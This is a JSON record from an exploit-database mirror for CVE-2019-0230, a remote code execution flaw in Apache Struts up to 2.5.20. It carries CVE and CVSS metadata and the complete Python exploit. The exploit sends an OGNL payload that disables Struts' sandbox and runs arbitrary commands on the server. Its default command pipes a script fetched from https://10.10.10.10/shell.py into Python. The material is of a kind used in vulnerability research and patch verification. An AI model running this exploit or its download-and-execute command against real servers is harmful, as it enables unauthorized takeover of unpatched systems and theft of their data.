{"exploit":{"id":"EDB-49068","name":"Apache Struts 2.5.20 - Double OGNL Evaluation / Remote Code Execution (RCE)","description":"Apache Struts 2.5.20 - Double OGNL Evaluation / Remote Code Execution (RCE)","cves":["CVE-2019-0230"],"author":"West Shepherd","published":"2020-11-17","platform":"jsp","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49068","path":"exploits/jsp/remote/49068.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49068.py","vulnerabilities":[{"id":"CVE-2019-0230","state":"PUBLISHED","title":null,"titleSource":null,"description":"Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-0230","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-0230"},"updatedAt":"2024-08-04T17:44:15.965Z","retrievedAt":"2026-11-27T04:07:35.753Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49068.png?v=2","url":"https://exploitbin.com/exploits/EDB-49068","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49068/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49068/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation\n# Date: 08/18/2020\n# Exploit Author: West Shepherd\n# Vendor Homepage: https://struts.apache.org/download.cgi\n# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)\n# CVE : CVE-2019-0230\n# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.\n# Source(s):\n# https://github.com/PrinceFPF/CVE-2019-0230\n# https://cwiki.apache.org/confluence/display/WW/S2-059\n# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22\n\n# !/usr/bin/python\nfrom sys import argv, exit, stdout, stderr\nimport argparse\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nimport logging\n\n\nclass Exploit:\n    def __init__(\n            self,\n            target='',\n            redirect=False,\n            proxy_address=''\n    ):\n        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n        self.target = target\n        self.session = requests.session()\n        self.redirect = redirect\n        self.timeout = 0.5\n        self.proxies = {\n            'http': 'http://%s' % proxy_address,\n            'https': 'http://%s' % proxy_address\n        } \\\n            if proxy_address is not None \\\n               and proxy_address != '' else {}\n        self.query_params = {}\n        self.form_values = {}\n        self.cookies = {}\n        boundary = \"---------------------------735323031399963166993862150\"\n        self.headers = {\n            'Content-Type': 'multipart/form-data; boundary=%s' % boundary,\n            'Accept': '*/*',\n            'Connection': 'close'\n        }\n        payload = \"%{(#nike='multipart/form-data').\" \\\n                  \"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\" \\\n                  \"(#_memberAccess?(#_memberAccess=#dm):\" \\\n\n\"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\"\n\\\n\n\"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\"\n\\\n                  \"(#ognlUtil.getExcludedPackageNames().clear()).\" \\\n                  \"(#ognlUtil.getExcludedClasses().clear()).\" \\\n                  \"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}').\" \\\n\n\"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\"\n\\\n\n\"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\" \\\n                  \"(#p=new\njava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).\" \\\n\n\"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().\"\n\\\n\n\"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\"\n\\\n                  \"(#ros.flush())}\"\n\n        self.payload = \"--%s\\r\\nContent-Disposition: form-data;\nname=\\\"foo\\\"; \" \\\n                       \"filename=\\\"%s\\0b\\\"\\r\\nContent-Type:\ntext/plain\\r\\n\\r\\nx\\r\\n--%s--\\r\\n\\r\\n\" % (\n                           boundary, payload, boundary\n                       )\n\n    def do_get(self, url, params=None, data=None):\n        return self.session.get(\n            url=url,\n            verify=False,\n            allow_redirects=self.redirect,\n            headers=self.headers,\n            cookies=self.cookies,\n            proxies=self.proxies,\n            data=data,\n            params=params\n        )\n\n    def do_post(self, url, data=None, params=None):\n        return self.session.post(\n            url=url,\n            data=data,\n            verify=False,\n            allow_redirects=self.redirect,\n            headers=self.headers,\n            cookies=self.cookies,\n            proxies=self.proxies,\n            params=params\n        )\n\n    def debug(self):\n        try:\n            import http.client as http_client\n        except ImportError:\n            import httplib as http_client\n        http_client.HTTPConnection.debuglevel = 1\n        logging.basicConfig()\n        logging.getLogger().setLevel(logging.DEBUG)\n        requests_log = logging.getLogger(\"requests.packages.urllib3\")\n        requests_log.setLevel(logging.DEBUG)\n        requests_log.propagate = True\n        return self\n\n    def send_payload(self, command='curl --insecure -sv\nhttps://10.10.10.10/shell.py|python -'):\n        url = self.target\n        stdout.write('sending payload to %s payload %s' % (url, command))\n        resp = self.do_post(url=url, params=self.query_params,\ndata=self.payload.replace('{COMMAND}', command))\n        return resp\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(add_help=True,\n                                     description='CVE-2020-0230 Struts\n2 exploit')\n    try:\n        parser.add_argument('-target', action='store', help='Target\naddress: http(s)://target.com/index.action')\n        parser.add_argument('-command', action='store',\n                            help='Command to execute: touch /tmp/pwn')\n        parser.add_argument('-debug', action='store', default=False,\nhelp='Enable debugging: False')\n        parser.add_argument('-proxy', action='store', default='',\nhelp='Enable proxy: 10.10.10.10:8080')\n\n        if len(argv) == 1:\n            parser.print_help()\n            exit(1)\n        options = parser.parse_args()\n\n        exp = Exploit(\n            proxy_address=options.proxy,\n            target=options.target\n        )\n\n        if options.debug:\n            exp.debug()\n            stdout.write('target %s debug %s proxy %s\\n' % (\n                options.target, options.debug, options.proxy\n            ))\n\n        result = exp.send_payload(command=options.command)\n        stdout.write('Response: %d\\n' % result.status_code)\n\n    except Exception as error:\n\nstderr.write('error in main %s' % str(error))","sha256":"45e138f8e7744385adf1180cf2a83f0a94ecf1ddf414051aeb6d0a53a2576e74","bytes":5639,"fetchedAt":"2026-11-27T04:07:35.513Z","encoding":"utf-8 (display only; download retains original bytes)"}